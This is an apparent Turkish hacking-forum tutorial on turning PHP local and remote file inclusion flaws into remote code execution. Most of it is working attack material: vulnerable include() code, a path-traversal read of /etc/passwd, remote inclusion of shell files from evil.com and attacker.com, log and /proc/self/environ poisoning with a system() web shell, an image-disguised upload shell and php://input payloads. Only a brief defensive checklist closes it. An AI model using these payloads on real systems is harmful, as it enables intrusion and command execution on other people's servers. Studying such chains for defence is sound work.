Hoşgeldin Misafir

PHP'de LFI/RFI'den RCE'ye Giden Yol: Chain Tabanlı Saldırılar

xS0N3R

23 Ağu 2020
5,426 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Uzun bir aradan sonra tekrar PHP konusuna geri döndüm ve bugün konumuzda PHP tabanlı sıkça rastladığımız LFI (Local File Inclusion) ve RFI (Remote File Inclusion) zafiyetlerin nasıl bir RCE (Remote Code Execution) zincirine dönüştürülebileceğini detaylı bir şekilde anlatmaya çalışacağım.

lfi-example-etc-passwd.webp


LFI Nedir ?

LFI, kullanıcıdan alınan bir girdinin "include", "require", "include_once", "require_once" gibi dosya dahil etme fonksiyonlarına filtresiz verilmesiyle oluşur
PHP:
// Zafiyetli örnek
$page = $_GET['page'];
include($page);

Bu durumda saldırgan şöyle bir URL ile sistemdeki dosyalara erişebilir:
Bash:
http://exist.com/index.php?page=../../../../etc/passwd

remote-file-inclusion-vulnerability.jpg


RFI Nedir?

RFI, uzaktan dosya dahil etme açığıdır. Bu durumda sistemin "allow_url_include = On" ve "alllow_url_fopen = On" olması gerekir:
PHP:
$page = $_GET['page'];
include($page);

Paylod
Bash:
http://exist.com/index.php?page=http://evil.com/shell.txt

"shell.txt" içinde PHP kodu varsa, uzaktan kod çalıştırılmış olur.

remote-code-execution.webp


Asıl Tehlike: LFI veya RFI → RCE Zinciri
LFI tek başına sistemdeki dosyaları okuyabilir. Ama genellikle hedefimiz kod çalıştırmak (RCE) olur. Bu noktada çeşitli zincirler devreye girer.

From-Local-File-Inclusion-to-Remote-Code-Execution-part2-picture11.png


Chain 1 : LFI + /proc/self/environ → RCE


LFI açığı varsa, "/proc/self/environ" dosyasını okuyabiliriz. Bu dosya, HTTP request'teki User-Agent, Cookie vb. gibi header'ları içerir. Eğer "User-Agent" içine PHP kodu yerleştirirsek ve bu "include()" ile işlenirse, kodumuz çalışır.
Şartları:


  • Apache, Nginx vs. ile çalışmalı.
  • "mod_php" ya da benzeri, header'ları "environ" dosyasına yazmalı.
  • "include($_GET['page']);" gibi bir LFI açığı olmalı.
PoC:
Bash:
# Zararlı header ile istek atıyoruz
curl -A "<?php system($_GET['cmd']); ?>" http://exist.com/index.php?page=/proc/self/environ

ve sonra:
Bash:
http://exist.com/index.php?page=/proc/self/environ&cmd=id

LogPoison_CommandsLS.png

Chain 2: LFI + Log Poisoning → RCE
Bir çok web sunucusu, HTTP isteklerini log dosyasına yazar. Eğer log dosyasına PHP kodu enjekte edersek, LFI ile o log dosyası "include()" ettirerek kodumuzu çalıştırabiliriz.
Şartları:

  • Apache erişim logu yazıyor olmalı (örnek: /var/log/apache2/access.log)
  • Saldırgan loga ulaşabiliyor olmalı.
  • LFI açığı buna erişebiliyor olmalı.
PoC:
Bash:
# Access log'a kod yaz
curl -A "<?php system($_GET['cmd']); ?>" http://exist.com/

# LFI üzerinden çalıştır
http://exist.com/index.php?page=/var/log/apache2/access.log&cmd=ls

Ekran-Resmi-2018-05-26-16.33.05.png

Not: Bu eski bir yöntem, modern yöntemlerde çoğunlukla "allow_url_include" kapalıdır. Ama CTF'lerde işe yarayabilir.
PoC:

PHP:
// shell.txt (kötü sunucuda barınan dosya)
<?php system($_GET['cmd']); ?>

Payload:
Bash:
http://exist.com/index.php?page=http://attacker.com/shell.txt&cmd=id

1*bN6mQuHCcD89eCEspu5olA.png

Chain 4: File Upload + LFI → RCE
Bunun mantığını sıralamak gerekirse:
1. Uygulama kullanıcıdan dosya yüklemesini istiyor.
2. Dosya içeriğine PHP kodu yazılıyor (uzantı resimdeki gibi .jpg ve ya .gif olabilir)
3. Bu dosya bir yere kaydediliyor (örnek: /uploads/shell.jpg)
4. LFI açığıyla bu dosyayı include ettiriyoruz.

PoC:
PHP:
# payload.php içeriği
<?php system($_GET['cmd']); ?>

# Bunu shell.jpg olarak yükle
# Sonra include:
http://exist.com/index.php?page=uploads/shell.jpg&cmd=whoami

Güvenlik Önlemleri
  1. "include()"e kullanıcı girdisi asla doğrudan verilmemeli.
  2. "allow_url_include = Off"
  3. "open_basedir" ve "disable_functions" yapılandırmaları yapılmalı.
  4. Loglar dışarıdan erişilemez olmalı.
  5. File upload işlemleri strict filtrelemeyle yapılmalı.
  6. Web root dışında dosya yüklenmeli.
Ekstra olarak şunu da paylaşmak istiyorum:
PHP Wrapper Abuse:
PHP:
# php://input kullanımı ile payload gönderme
curl -X POST -d "<?php system('ls'); ?>" http://exist.com/index.php?page=php://input

Yazımı buraya kadar okuyup vaktinizi ayırdığınız için teşekkür ederim. Diğer konularda görüşmek üzere.